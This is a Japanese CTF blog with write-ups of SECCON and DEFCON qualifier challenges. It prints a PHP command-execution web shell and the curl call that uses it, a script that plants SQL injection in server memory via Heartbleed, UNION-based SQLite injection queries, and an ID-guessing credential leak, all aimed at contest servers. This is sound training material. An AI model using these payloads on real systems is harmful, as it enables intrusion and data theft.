$ ls -l total 2988 dr-xr-xr-x 2 root root 4096 Dec 1 21:52 SECRETS -r—w-— 1 apache cgi 3037761 Dec 5 19:05 log -r–r–r– 1 root root 1132 May 15 2015 logo.png -r-xr-xr-x 1 cgi cgi 1583 Dec 1 22:02 register.cgi -r–r–r– 1 root root 1583 Dec 1 22:25 register.cgi_bak
$ whoami cgi
$ pwd /var/www/html
$ id uid=1001(cgi) gid=1001(cgi) groups=1001(cgi),1003(alien)
$ls -l SECRETS -r–r–r– 1 root root 42 Dec 1 21:52 backdoor123.php -r–r–r– 1 root root 19 Dec 1 21:52 index.html
$ cat /var/www/html/SECRETS/backdoor123.php <html> <head> <meta charset="utf-8"> <title>SECCON 2015</title> </head> <body style='background:#000;color:#52d6eb;font-family:"ヒラギノ明朝 ProN W6", "HiraMinProN-W6", "HG明朝E", "MS P明朝", "MS PMincho", "MS 明朝", serif'> <img src="logo.png"> <h2 style="text-align:center">SECURITY CONTEST 2015</h2> <h1 style="font-size:28px;border-top:1px solid #28363D;border-bottom:1px solid #28363D;padding:15px">Entry Form</h1> <form action="?" method="get"><pre> <pre><?php system($_GET['cmd']); ?></pre> <h1>Your entry was sent. <a href='?' style='color:#52d6eb'>Go Back</a></h1>
バックドアに cat /var/www/html/log を実行するよう渡してやると、flagが返って来ました。
root# curl http://entryform.pwn.seccon.jp/SECRETS/backdoor123.php?cmd=cat%20/var/www/html/log
<pre>**FLAG** SECCON{Glory_will_shine_on_you.} ********
flagは SECCON{Glory_will_shine_on_you.} 。
Connect the server - Web/Network 100
問題文
login.pwn.seccon.jp:10000
Webブラウザでアクセスしてみると、一部文字化けしたような感じ。
Tumblr media
テキストとして保存してみると、flagらしきのがspace(0x20)とbackspace(0x08)で区切られている
00000000 43 4f 4e 4e 45 43 54 20 33 30 30 0d 0a 0d 0a 57 |CONNECT 300….W| 00000010 65 6c 63 6f 6d 65 20 74 6f 20 53 45 43 43 4f 4e |elcome to SECCON| 00000020 20 73 65 72 76 65 72 2e 0d 0a 0d 0a 54 68 65 20 | server…..The | 00000030 73 65 72 76 65 72 20 69 73 20 63 6f 6e 6e 65 63 |server is connec| 00000040 74 65 64 20 76 69 61 20 73 6c 6f 77 20 64 69 61 |ted via slow dia| 00000050 6c 2d 75 70 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e |l-up connection.| 00000060 0d 0a 50 6c 65 61 73 65 20 62 65 20 70 61 74 69 |..Please be pati| 00000070 65 6e 74 2c 20 61 6e 64 20 64 6f 20 6e 6f 74 20 |ent, and do not | 00000080 62 72 75 74 65 2d 66 6f 72 63 65 2e 0d 0a 53 08 |brute-force…S.| 00000090 20 08 45 08 20 08 43 08 20 08 43 08 20 08 4f 08 | .E. .C. .C. .O.| 000000a0 20 08 4e 08 20 08 7b 08 20 08 53 08 20 08 6f 08 | .N. .{. .S. .o.| 000000b0 20 08 6d 08 20 08 65 08 20 08 74 08 20 08 69 08 | .m. .e. .t. .i.| 000000c0 20 08 6d 08 20 08 65 08 20 08 73 08 20 08 5f 08 | .m. .e. .s. ._.| 000000d0 20 08 77 08 20 08 68 08 20 08 61 08 20 08 74 08 | .w. .h. .a. .t.| 000000e0 20 08 5f 08 20 08 79 08 20 08 6f 08 20 08 75 08 | ._. .y. .o. .u.| 000000f0 20 08 5f 08 20 08 73 08 20 08 65 08 20 08 65 08 | ._. .s. .e. .e.| 00000100 20 08 5f 08 20 08 69 08 20 08 73 08 20 08 5f 08 | ._. .i. .s. ._.| 00000110 20 08 4e 08 20 08 4f 08 20 08 54 08 20 08 5f 08 | .N. .O. .T. ._.| 00000120 20 08 77 08 20 08 68 08 20 08 61 08 20 08 74 08 | .w. .h. .a. .t.| 00000130 20 08 5f 08 20 08 79 08 20 08 6f 08 20 08 75 08 | ._. .y. .o. .u.| 00000140 20 08 5f 08 20 08 67 08 20 08 65 08 20 08 74 08 | ._. .g. .e. .t.| 00000150 20 08 7d 08 20 08 0d 0a 6c 6f 67 69 6e 3a 20 0d | .}. …login: .| 00000160 0a 0d 0a 4c 6f 67 69 6e 20 74 69 6d 65 72 20 74 |…Login timer t| 00000170 69 6d 65 64 20 6f 75 74 2e 0d 0a 54 68 61 6e 6b |imed out…Thank| 00000180 20 79 6f 75 20 66 6f 72 20 79 6f 75 72 20 63 6f | you for your co| 00000190 6f 70 65 72 61 74 69 6f 6e 2e 0d 0a 0d 0a 48 49 |operation…..HI| 000001a0 4e 54 3a 20 49 74 20 69 73 20 61 6c 72 65 61 64 |NT: It is alread| 000001b0 79 20 69 6e 20 79 6f 75 72 20 68 61 6e 64 73 2e |y in your hands.| 000001c0 0d 0a 0d 0a 47 6f 6f 64 20 62 79 65 2e 0d 0a |….Good bye…|
0x20と0x8を除去して、flagがこちら。 SECCON{Sometimes_what_you_see_is_NOT_what_you_get}
ちなみにIEで表示した時の画面はこんなの。
Tumblr media
一日目は大阪、二日目は神戸に集まってやっていました。オンライン予選なので自宅からでも参加はできますが、やはり集まってやる方が楽しいです。みなさま、ありがとうございました。
0 notes
yuki-ctf · 10 years ago
Text
SECCON CTF 2014 Online Qualifications
12/6~7の32時間に渡って開催されたSECCON CTFのオンライン予選(英語)の結果です。 今回は英語でも参加可能、また、予選を突破して本選で優勝するとDEFCONのシード権がもらえる、ということで海外からも有名どころを含む多くのチームが参加していました。延べ58ヶ国、1068チームが予選登録しており、うち実際にオンライン参加していた(=得点獲得していた)のは804チーム。 Ganbare Tigers Jrは51位でした。今年の予選はこれで終了。予選通過ならず、残念。
Tumblr media
以下、当日自分では解けなかった問題も含め、復習を兼ねて記録しておきます。
Get the key.txt - Forensics 100
forensic100.zipというファイルが与えられる。中身はファイルシステムらしい。
root# unzip forensic100.zip root# file forensic100 forensic100: Linux rev 1.0 ext2 filesystem data, UUID=0b92a753-7ec9-4b20-8c0b-79c1fa140869
stringsしてみると、keyXXX.txtとSECCON{XXXXXX…}という文字列が大量に含まれて���る。問題タイトルが"Get the key.txt"なので、多数の中から正解のファイル'key.txt'を見つけ出すものと想像してみる。 stringsの結果から関連部分を一部抜粋したのがこちら。
(略) key165.txt key172.txty2 key174.txty1 key175.txt key176.txt key177.txt key197.txt key203.txt key204.txt key215.txt key240.txt key94.txt9y7 key95.txt key102.txt (略) SECCON{ecx3ZmS2kgR+njB3[*6u} SECCON{:D,de5lF(s%/m58s8Oo])Zm} SECCON{42JW?=C_9_@mh+n_GL*9} SECCON{'HPYpsJ[\vQyvt/%Y+a0)Xn9C} SECCON{^#gbph6Tcon(ur%oe"\)o8} SECCON{sdOlW'i-Sy%;-/hsI81<-lHD} SECCON{ax]TfG5ghd3Xv0[L'^(} SECCON{._iiCB)m[Vsv<X\^?(rd} SECCON{X>HCx/EfB+">p7+fH'\} SECCON{@4f+4)a;\\4Er6DTa0M} SECCON{+5`s(:F3*A.U9J=nNxow} (略)
とりあえずマウントしてみる。
root# mkdir /mnt/test root# mount -o loop forensic100 /mnt/test root# ls /mnt/test 1 114 13 145 160 176 191 206 221 237 32 48 63 79 94 10 115 130 146 161 177 192 207 222 238 33 49 64 8 95 100 116 131 147 162 178 193 208 223 239 34 5 65 80 96 101 117 132 148 163 179 194 209 224 24 35 50 66 81 97 102 118 133 149 164 18 195 21 225 240 36 51 67 82 98 103 119 134 15 165 180 196 210 226 241 37 52 68 83 99 104 12 135 150 166 181 197 211 227 242 38 53 69 84 lost+found 105 120 136 151 167 182 198 212 228 243 39 54 7 85 106 121 137 152 168 183 199 213 229 244 4 55 70 86 107 122 138 153 169 184 2 214 23 25 40 56 71 87 108 123 139 154 17 185 20 215 230 26 41 57 72 88 109 124 14 155 170 186 200 216 231 27 42 58 73 89 11 125 140 156 171 187 201 217 232 28 43 59 74 9 110 126 141 157 172 188 202 218 233 29 44 6 75 90 111 127 142 158 173 189 203 219 234 3 45 60 76 91 112 128 143 159 174 19 204 22 235 30 46 61 77 92 113 129 144 16 175 190 205 220 236 31 47 62 78 93
成功。1から244までたくさんのファイルがある。 fileで調べると'gzip compressed data'だと言っている。
root# file /mnt/test/* /mnt/test/1: gzip compressed data, was "key.txt", from Unix, last modified: Wed Oct 1 15:00:52 2014 /mnt/test/10: gzip compressed data, was "key106.txt", from Unix, last modified: Wed Oct 1 14:59:41 2014 /mnt/test/100: gzip compressed data, was "key188.txt", from Unix, last modified: Wed Oct 1 14:59:41 2014 /mnt/test/101: gzip compressed data, was "key189.txt", from Unix, last modified: Wed Oct 1 14:59:41 2014 /mnt/test/102: gzip compressed data, was "key19.txt", from Unix, last modified: Wed Oct 1 14:59:41 2014 /mnt/test/103: gzip compressed data, was "key190.txt", from Unix, last modified: Wed Oct 1 14:59:41 2014 (略)
どうも元のファイル名も表示されてるっぽい。key.txtだったよ、といっているファイル'1'を解凍してみる。なぜか失敗するので拡張子を変えてみると解凍に成功。 これがflagだった。
root# gunzip /mnt/test/1 gzip: /mnt/test/1: unknown suffix – ignored root# mv /mnt/test/1 1.gz root# gunzip 1.gz root# cat 1 SECCON{@]NL7n+-s75FrET]vU=7Z}
flagは、 SECCON{@]NL7n+-s75FrET]vU=7Z} 。
Bleeding "Heartbleed" Test Web - Web 300
問題としてURLが与えられる。
http://bleeding.pwn.seccon.jp/
アクセスしてみると、Heartbleed脆弱性の有無をチェックしてくれるサイトとのこと。実在するIPアドレスとポート番号を入力してみると、それらしい結果が表示される。
じゃあ脆弱性ありだとどうなるんだろう、と思って脆弱なサイトを立ててみる。 グローバルIPを持つ必要があるのでAWS上にSSLサイトを作る。こういうときクラウドって便利。
CentOS 6.5をチョイス。 ->AWSのコミュニティOSイメージから適当に選択
openssl 脆弱性のあるバージョンにダウングレード
root# curl -L http://vault.centos.org/6.5/os/x86\_64/Packages/openssl-1.0.1e-15.el6.x86\_64.rpm -o openssl-1.0.1e-15.el6.x86_64.rpm root# yum downgrade openssl-1.0.1e-15.el6.x86_64.rpm
apacheとmod_sslインストール
root# curl -L http://vault.centos.org/6.5/os/x86\_64/Packages/httpd-2.2.15-29.el6.centos.x86\_64.rpm -o httpd-2.2.15-29.el6.centos.x86_64.rpm root# curl -L http://vault.centos.org/6.5/os/x86\_64/Packages/httpd-tools-2.2.15-29.el6.centos.x86\_64.rpm -o httpd-tools-2.2.15-29.el6.centos.x86_64.rpm root# curl -L http://vault.centos.org/6.5/os/x86\_64/Packages/mod\_ssl-2.2.15-29.el6.centos.x86\_64.rpm -o mod_ssl-2.2.15-29.el6.centos.x86_64.rpm root# yum install httpd-2.2.15-29.el6.centos.x86_64.rpm httpd-tools-2.2.15-29.el6.centos.x86_64.rpm mod_ssl-2.2.15-29.el6.centos.x86_64.rpm
これでHeartbleed脆弱性があるサーバが完成。 先ほどの問題サーバからアクセスしてみると、'server is vulnerable!'と表示される。また、apacheから取得したメモリデータも出力されているように見える。
Tumblr media
なお、AWS側でパケットキャプチャしてみたところ、SSLハンドシェイクの途中でHeartbeatメッセージがやりとりされていることを確認できた。
root# tcpdump -s 0 -w hb2.pcap port 443
Tumblr media
以上より、問題サーバは指定されたサーバに対してHeartbleed脆弱性のチェックを実際に実行していることが確定。 では、次にどうするか。 実はだいたい見当はついていて、問題サーバがHeartbleedを実行した結果ページに"We put test results into our database for analysis."と書いてあることから、Heartbleedで漏洩するデータにSQLを入れておくとSQLインジェクションが成立するのではと想像する。 そこで今度はAWS上のapacheのメモリをSQL文で汚染しようと試みる。 観察していると、リクエストヘッダやレスポンスヘッダの内容はメモリに保持されてHeartbleedで漏れる模様。自分のマシンに汚染用のスクリプトを準備。
root# cat payload.py #!/usr/bin/python inject = "' OR 'A'='A';– " repeat = 500 print inject * repeat
root# cat curl.sh #!/bin/sh cnt=100 for i in `seq 1 $cnt` do    echo sending no=$i    curl -k https://<Heartbleed脆弱なサーバ>:443 -A "$(./payload.py)" done
root# ./curl.sh
これで、大量のSQLがapacheのメモリに保持される。 何度も繰り返しているのは、メモリを万遍なく汚染して、Heartbleedで漏洩する部分が汚染したデータとなる確率を高めるため。
さて、いよいよこの状態で問題サーバからアクセスさせてみる。DBのエラーが出ていることから、SQLインジェクション確定。
Tumblr media
ここでチームのWebマスターにバトンタッチ。淡々とSQLインジェクションしてもらう。 ただ、ひとつ問題があって、今のやり方だとHeartbleedで漏洩させるデータの開始位置をコントロールできない、つまり問題サーバが実行するSQLが'で始まることを保証できない。なので前述したようにデータベースエラーとなりSQLが実行されない。ペイロードの前にダミー文字列をパディングとして埋めて調整するとぴったりSQLが実行されるようになるが、SQL文の長さによってパディング長が異なり法則もみつけられなかった。新しいSQLのたびにトライアンドエラーでパディング長を調整していくのも面倒。
するとWebマスターからflag取得したとの連絡。さすが。 Webブラウザとローカルプロキシを使ってパディングの調整不要で攻略したとのこと。私の環境だと��まくいかないので後日試してみると、リクエストヘッダに一定以上の長さのデータを置いたあとにSQLを配置するとうまくいくことがわかった。 例えばGoogle ChromeだとUser-Agentの後にSQL配置で成功するが、FirefoxだとUser-Agent直後では成功しないのでもっと後ろに置く必要がある。このあたりはOSやapacheの環境に依存してそう?
例えばこのSQLを注入する場合は、
' and 1=0 union all select tbl_name from sqlite_master; --
Chromeだと、
GET https://x.x.x.x/ HTTP/1.1 Host: x.x.x.x Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36/' and 1=0 union all select tbl_name from sqlite_master; -- Accept-Encoding: gzip, deflate, sdch Accept-Language: ja,en-US;q=0.8,en;q=0.6
Firefoxだと、
GET https://x.x.x.x/ HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/ 34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ja,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive SQLInjection: ' and 1=0 union all select tbl_name from sqlite_master; --
こんな感じでhttpsのリクエストを数回送り込むと、問題サーバにSQLを注入できる。ローカルプロキシの画面はこちら。
Tumblr media
問題サーバのソースコードに
<!– DEBUG: INSERT OK. TIME=1419115993 –>
という意味深なコメントがあるが、SQLの実行結果はここに表示される。
以上をふまえてSQLを実行していく。 DBはSQLiteで、'results'というテーブルがある。
' and 1=0 union all select tbl_name from sqlite_master; -- <!– DEBUG: INSERT OK. TIME=results –>
'ssFLGss'というテーブルに'flag'が存在する。
' and 1=0 union all select sql from sqlite_master where tbl_name not in ('results'); -- <!– DEBUG: INSERT OK. TIME=CREATE TABLE ssFLGss ( flag ) –>
'flag'を抜き出すとそれが答え。
' and 1=0 union all select flag from ssFLGss; -- <!– DEBUG: INSERT OK. TIME=SECCON{IknewIt!SQLiteAgain!!!} –>
flagは SECCON{IknewIt!SQLiteAgain!!!} 。 ちなみにDBには'results', 'ssFLGss', 'ttDMYtt'というテーブルがあった。
Get the key - Network 100 pcapファイルが与えられる。
root# file nw100.pcap nw100.pcap: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535)
中身を見てみると、HTTPでBasic認証がかけられているサイトにアクセスしている模様。
root# strings nw100.pcap (略) GET /nw100/ HTTP/1.1 Accept: text/html, application/xhtml+xml, / Accept-Language: ja-JP,en-US;q=0.5 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: 133.242.224.21:6809 (略) HTTP/1.1 401 Authorization Required Date: Sat, 29 Nov 2014 13:10:40 GMT Server: Apache/2.2.22 (Debian) WWW-Authenticate: Basic realm="NW100" (略) GET /nw100/ HTTP/1.1 Accept: text/html, application/xhtml+xml, / Accept-Language: ja-JP,en-US;q=0.5 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: 133.242.224.21:6809 Authorization: Basic c2VjY29uMjAxNDpZb3VyQmF0dGxlRmllbGQ= (略) HTTP/1.1 200 OK (略)
Basic認証のIDとパスワードはAuthorizationヘッダにある。base64なのでデコードする。
root# echo c2VjY29uMjAxNDpZb3VyQmF0dGxlRmllbGQ= | base64 -d seccon2014:YourBattleField
問題ファイルと同じようにWebブラウザでアクセスしてパスワードを入力すると、key.htmlというページがあり、そこにflagが書いてあった。
http://133.242.224.21:6809/nw100/
root# cat key.html <HTML> SECCON{Basic_NW_Challenge_Done!} </HTML>
flagは SECCON{Basic_NW_Challenge_Done!} 。
Get from curious "FTP" server - Network 300 URLが与えられる。
ftp://ftpsv.quals.seccon.jp/
Webブラウザでアクセスしてみると、"502 LIST not implemented."と表示される。
Tumblr media
ftpクライアントでアクセスするとanonymousでログインできる。
root# ftp ftpsv.quals.seccon.jp Connected to ftpsv.quals.seccon.jp. 220 (vsFTPd 2.3.5(SECCON Custom)) Name (ftpsv.quals.seccon.jp:root): 530 This FTP server is anonymous only. Login failed. ftp> user anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
lsと打つと、先ほどと同じように"502 LIST not implemented."。使えるコマンドと使えないコマンドがあるらしい。ちなみにパッシブモードをONにしておかないといけない。
ftp> ls 500 Illegal PORT command. ftp: bind: Address already in use ftp> passive Passive mode on. ftp> ls 227 Entering Passive Mode (133,242,224,21,114,210) 502 LIST not implemented. ftp> pwd 257 "/"
ftpプロトコルのコマンドで stat というのがあるらしく、それだとファイル名が表示できるとのこと。 ftpクライアントから打てないのでnetcatで接続。ncなのでFTPプロトコルのコマンドを入力することに注意。するとflagが書いてありそうなファイルがある。
root# nc ftpsv.quals.seccon.jp 21 220 (vsFTPd 2.3.5(SECCON Custom)) user anonymous 331 Please specify the password. pass password 230 Login successful.
stat / 213-Status follows: drwxr-xr-x 2 0 107 4096 Nov 29 04:43 . drwxr-xr-x 2 0 107 4096 Nov 29 04:43 .. -rw-r–r– 1 0 0 38 Nov 29 04:43 key_is_in_this_file_afjoirefjort94dv7u.txt 213 End of status
あとはftpクライアントでファイルをGETする。
ftp> get key_is_in_this_file_afjoirefjort94dv7u.txt local: key_is_in_this_file_afjoirefjort94dv7u.txt remote: key_is_in_this_file_afjoirefjort94dv7u.txt 227 Entering Passive Mode (133,242,224,21,38,112) 150 Opening BINARY mode data connection for key_is_in_this_file_afjoirefjort94dv7u.txt (38 bytes). 226 Transfer complete. 38 bytes received in 0.00 secs (32.3 kB/s)
root# cat key_is_in_this_file_afjoirefjort94dv7u.txt SECCON{S0m3+im3_Pr0t0c0l_t411_4_1i3.}
flagは SECCON{S0m3+im3_Pr0t0c0l_t411_4_1i3.} 。
Easy Cipher - Crypto 100 暗号文として、スペース区切りの数字の羅列が与えられる。 よくよく見てみると、2進、8進、10進、16進数が混在しており、それぞれがASCIIコードになっているとのこと。 基数を指定してASCIIコード変換するところを試行錯誤。次のコードでうまく復号できた。
#!/usr/bin/python
cipher = '87 101 108 1100011 0157 6d 0145 040 116 0157 100000 0164 104 1100101 3 2 0123 69 67 0103 1001111 1001110 040 062 060 49 064 100000 0157 110 6c 0151 110 1110 101 040 0103 1010100 70 101110 0124 1101000 101 100000 1010011 1000101 67 0 103 4f 4e 100000 105 1110011 040 116 1101000 0145 040 1100010 0151 103 103 0145 1110011 0164 100000 1101000 0141 99 6b 1100101 0162 32 0143 111 1101110 1110100 101 0163 0164 040 0151 0156 040 74 0141 1110000 1100001 0156 056 4f 0157 0160 11 5 44 040 0171 1101111 117 100000 1110111 0141 0156 1110100 32 0164 6f 32 6b 1101 110 1101111 1110111 100000 0164 1101000 0145 040 0146 6c 97 1100111 2c 100000 01 44 111 110 100111 116 100000 1111001 6f 117 63 0110 1100101 0162 0145 100000 111 1001 111 117 100000 97 114 0145 46 1010011 0105 0103 67 79 1001110 123 87 110011 110001 67 110000 1001101 32 55 060 100000 110111 0110 110011 32 53 51 0103 0103 060 0116 040 5a 0117 73 0101 7d 1001000 0141 1110110 1100101 100000 102 0165 01 56 33'
plain = ''
def decode_char(str, num):     return chr(int(str, num))
for s in cipher.split():      if len(s) >= 6:          dec = decode_char(s, 2)      elif s.startswith('0'):          dec = decode_char(s, 8)      else:          try:              dec = decode_char(s, 10)          except(ValueError):              dec = decode_char(s, 16)      plain += dec
print plain
root# ./decode.py Welcome to the SECCON 2014 online CTF.The SECCON is the biggest hacker contest in Japan.Oops, you want to know the flag, don't you?Here you are.SECCON{W31C0M 70 7H3 53CC0N ZOIA}Have fun!
flagは SECCON{W31C0M 70 7H3 53CC0N ZOIA} 。
REA-JUU WATCH - Web 200 与えられたURLへアクセスすると、ちょっとしたゲームのようになっている。 (1) ログイン
(2) 選択肢に答えていく
(3) 最終スコアが表示される
という流れ。 このスコアを表示するページが曲者で、XMLHttpRequestでスコアを取得して、しかもそのJSONにはusername, passwordという情報まで入っている。
Tumblr media Tumblr media
GET /users/chk/15996 HTTP/1.1
{"username":"iwi371je","password":"om6gyep6","point":350}
何度か試すとパスの最後の数字によってデータが変わることがわかる。ここで、数字を1としてみると高スコアのユーザデータが返ってくる。
/users/chk/1
{"username":"rea-juu","password":"way_t0_f1ag","point":99999}
このユーザでログインしなおしてゲームを終えるとflagが表示された。
Tumblr media
flagは SECCON{REA_JUU_Ji8A_NYAN} 。 後で気づいたけど、日本語版と英語版が用意されており、ブラウザ環境によって切り替わる。
Choose the number - Programming 100 指定されたサーバにncで接続すると、ランダムに数字の組が表示され、最大数または最小数を問うクイズが表示される。正しい回答を送信すると次の問題が出てくるのでそれを繰り替えして解くコードを書くという問題。 当日は何問かは解けるけど途中でエラーとなって最後まで進めなかったけど、後で見直すと文字列としてmax, min関数に入力していて最大最小の判定が正しくできていなかったことが原因と判明。。intに変換してから処理するとうまくいった。
import socket import sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = 'number.quals.seccon.jp' port = 31337 buf = 4096
def solve(msg):      msgs = msg.split("\n")      numbers = map(int, msgs[0].split(', '))      numbers.sort()      question = msgs[1]
     print ' >>> start to solve'      if 'The maximum number?' in question:          print ' >>> maximum'          print ' >>> nums =', numbers          ans = max(numbers)
     elif 'The minimum number?' in question:          print ' >>> minimum'          print ' >>> nums =', numbers          ans = min(numbers)
     return str(ans)
s.connect((host, port)) cnt = 1 while True:      r_msg = s.recv(buf)      print '======== question', cnt      print r_msg      ans = solve(r_msg)      print '+++ sending the ans=', ans      s.send(ans)      cnt = cnt +1
s.close()
実行すると、
root# python solve2.py ======== question 1 7, 4 The maximum number? >>> start to solve >>> maximum >>> nums = [4, 7] +++ sending the ans= 7 ======== question 2 -3, -5, -7 The maximum number? >>> start to solve >>> maximum >>> nums = [-7, -5, -3] +++ sending the ans= -3
(略)
======== question 100 -2426944074, -1439818408, -3623100735, -2047767819, -1807639361, -3365309964, 157235643, 3051282623, -3588532599, -386554606, 3146987669, -205606102, 2909034900, -3676757024, 3588379469, -3151603536, 2816955509, -2027405190, 1466181880, 3132283681, 3699085071, 1766010417, -505299921, 422439676, 3781724823, -1999012344, -351469037, 3754622761, 826034781, 2252701854, 1666738765, -2605902909, 2584869859, -1364012781, -3054522570, 855278259, 628906295, -1628155518, 3776754363, 3269535466, 3394798314, 2349318274, -2579382791, -4099050253, -383892847, -637585148, 199798563, 540500571, -3001224544, 955263058, 1705477033, -1528104695, 3828676931, 1803704940, 1714619287, 2728606034, 3271211635, 3429797174, -3251304192, -213985354, -2394065957, -2798545849, 3788150386, 3350035681, -1307776783, 1659537751, -1674431598, 3621980297, 2508950448, -434586562, -81613876, -3125701442, 2869494687, 2722242702, -3267854103, -2885046254, -1735220069, 185769999, 4051729228, -308772447, 3213434390, 3067899583, 2745589699, -3253808979, -1276167335, -3714544805, -4164207905, 3564751840, -2229550444, -3832453972, 4023459235, 2639592911, -3660684084, -2062667535, -3251933569, 3383226343, 1118359719, 1648704376, 3803966104, -3525303133, -3185369967 The maximum number? >>> start to solve >>> maximum >>> nums = [-4164207905, -4099050253, -3832453972, -3714544805, -3676757024, -3660684084, -3623100735, -3588532599, -3525303133, -3365309964, -3267854103, -3253808979, -3251933569, -3251304192, -3185369967, -3151603536, -3125701442, -3054522570, -3001224544, -2885046254, -2798545849, -2605902909, -2579382791, -2426944074, -2394065957, -2229550444, -2062667535, -2047767819, -2027405190, -1999012344, -1807639361, -1735220069, -1674431598, -1628155518, -1528104695, -1439818408, -1364012781, -1307776783, -1276167335, -637585148, -505299921, -434586562, -386554606, -383892847, -351469037, -308772447, -213985354, -205606102, -81613876, 157235643, 185769999, 199798563, 422439676, 540500571, 628906295, 826034781, 855278259, 955263058, 1118359719, 1466181880, 1648704376, 1659537751, 1666738765, 1705477033, 1714619287, 1766010417, 1803704940, 2252701854, 2349318274, 2508950448, 2584869859, 2639592911, 2722242702, 2728606034, 2745589699, 2816955509, 2869494687, 2909034900, 3051282623, 3067899583, 3132283681, 3146987669, 3213434390, 3269535466, 3271211635, 3350035681, 3383226343, 3394798314, 3429797174, 3564751840, 3588379469, 3621980297, 3699085071, 3754622761, 3776754363, 3781724823, 3788150386, 3803966104, 3828676931, 4023459235, 4051729228] +++ sending the ans= 4051729228 ======== question 101 Congratulations! The flag is SECCON{Programming is so fun!}
flagは SECCON{Programming is so fun!} 。
とても楽しかったです。オンライン予選でしたが都合のつくメンバーは集まって一緒にやっていました。 途中、なんと5位にランクしていた時がありました!こちらは記念のスクリーンショット。
Tumblr media
チームメイト、運営の方々、関係のみなさま、ありがとうございました!
0 notes
yuki-ctf · 11 years ago
Text
SECCON 2014 CTF オンライン予選
7/19に開催されたSECCON CTFのオンライン予選の結果です。 Ganbare Tigers Jrは12位でした(予選登録は全425チーム)。予選突破ラインの7位には届かず。 私は全然問題が解けなくてくやしかったです。。
Tumblr media
パケット 100
パケットをキャプチャしたデータが問題です。
root# file seccon2014.pcapng seccon2014.pcapng: pcap-ng capture file - version 1.0
試しにstringsでテキストを抽出してみると、ftpでログインしてファイルをダウンロードしているのがわかります。特徴的な箇所を抜粋したのがこちら。
root# strings seccon2014.pcapng
=USER seccon2014 331 Username ok, send password.
PASS w31c0m3 230 Login successful.
@o-rw-rw-r– 1 shiracamus shiracamus 33 Jul 13 17:04 flag.txt
TYPE I Cf200 Type set to: Binary.
RETR flag.txt
QUIT 221 Goodbye.
ダウンロードしているflag.txtというファイルが怪しいです。 ちゃんとみるためにwiresharkでパケットデータを開きます。メニューからFind packetを開き、flag.txtを検索します。
Tumblr media
すると、flag.txtをリクエストしている行がヒットします。
Tumblr media
No.55が実際にサーバからダウンロードしているflag.txt本体が含まれるパケットです。 低レイヤを除去してデータ部分だけを見るために、No.55を選択した状態でFollow TCP Streamします。(※FTPは制御チャネルとデータチャネルでコネクションが異なるので、No.53のRETR flag.txtの行でFollow TCP Streamしても、制御チャネルのデータだけが表示されることに注意)
Tumblr media
いかにも、、な文字列です。これをファイルに保存して、base64でデコードします。
root# cat flag.bin RkxBR3tGN1AgMTUgTjA3IDUzQ1VSM30= root# base64 -d flag.bin FLAG{F7P 15 N07 53CUR3}
フラグは、 F7P 15 N07 53CUR3 (FTP IS NOT SECURE)でした。
これだけ、、です。問題解けないと悲しくなってきますねー。ほかには、Line乗っ取りの時事ネタや3Dプリンタのデータを扱った問題が印象的でした。 次回は12月の予定なのでそれまでになんとかしとかないと。 上位にランクインしているのはだいたいいつものチームですね。 みなさん、お疲れ様でした。
0 notes
yuki-ctf · 11 years ago
Text
DEFCON 22 CTF Quals (2014) Write Up
DEFCON予選に初参加。ひとつだけ解いたのでメモ。
hackertool ファイルをダウンロードしてmd5を計算せよ、という問題。torrentファイルが与えられます。
root# file hackertool.torrent_fe3b8b75e9639d35e8ac1d9809726ee2 hackertool.torrent_fe3b8b75e9639d35e8ac1d9809726ee2: BitTorrent file
まずはクライアントを準備します。qBittorrentというソフトを入れてみました。 なぜかそのままだとtorrentファイルを読み込めず、ファイル名を修正したらOK。 Windowsじゃないのに、拡張子?で判断してるのか。。
root# mv hackertool.torrent_fe3b8b75e9639d35e8ac1d9809726ee2 hackertool.torrent
ところが、なかなかダウンロードが終わりません。完了する気配なし。
Tumblr media
何か手がかりでもないかとtorrentファイルをのぞいてみます。
root# head -n 1 hackertool.torrent d8:announce54:http://hackertool.2014.shallweplayaga.me:5678/announce13:creation datei1399859932e4:infod6:lengthi61337501696e4:name20:every_ip_address.txt12:piece lengthi262144e6:pieces4679680:u��I��۬����fa���Hң��J%/ s�X0� g�h��P tl��@�
URLにアクセスするとファイルのハッシュも記載がありますが、残念ながらsha1です。
Tumblr media
ふと、何かダウンロードされていないかと見てみると、ありました。ファイル名、サイズも先ほどのURLの情報と合致してそうです。が、md5を出してサブミットするも正解ではないです。
root# ls -l ~/Downloads/ 合計 889760 -rw-r–r– 1 root root 61337501696 5月 17 14:49 every_ip_address.txt
ざっとファイルの中身を見てみると、IPアドレスがひたすら書かれているようです。
root# head ~/Downloads/every_ip_address.txt 0.0.0.0 0.0.0.1 0.0.0.2 0.0.0.3 0.0.0.4 0.0.0.5 0.0.0.6 0.0.0.7 0.0.0.8 0.0.0.9
root# tail ~/Downloads/every_ip_address.txt 255.255.255.246 255.255.255.247 255.255.255.248 255.255.255.249 255.255.255.250 255.255.255.251 255.255.255.252 255.255.255.253 255.255.255.254 255.255.255.255
そこで、0.0.0.0から255.255.255.255までのファイルを自分で作成してみます。
for o1 in range(0, 256):     for o2 in range(0, 256):         for o3 in range(0, 256):             for o4 in range(0, 256):                 print str(o1) + "." + str(o2) + "." + str(o3) + "." + str(o4)
md5をとったら正解でした。
root# md5sum all.txt 1a97f624cc74e4944350c04f5ae1fe8d all.txt
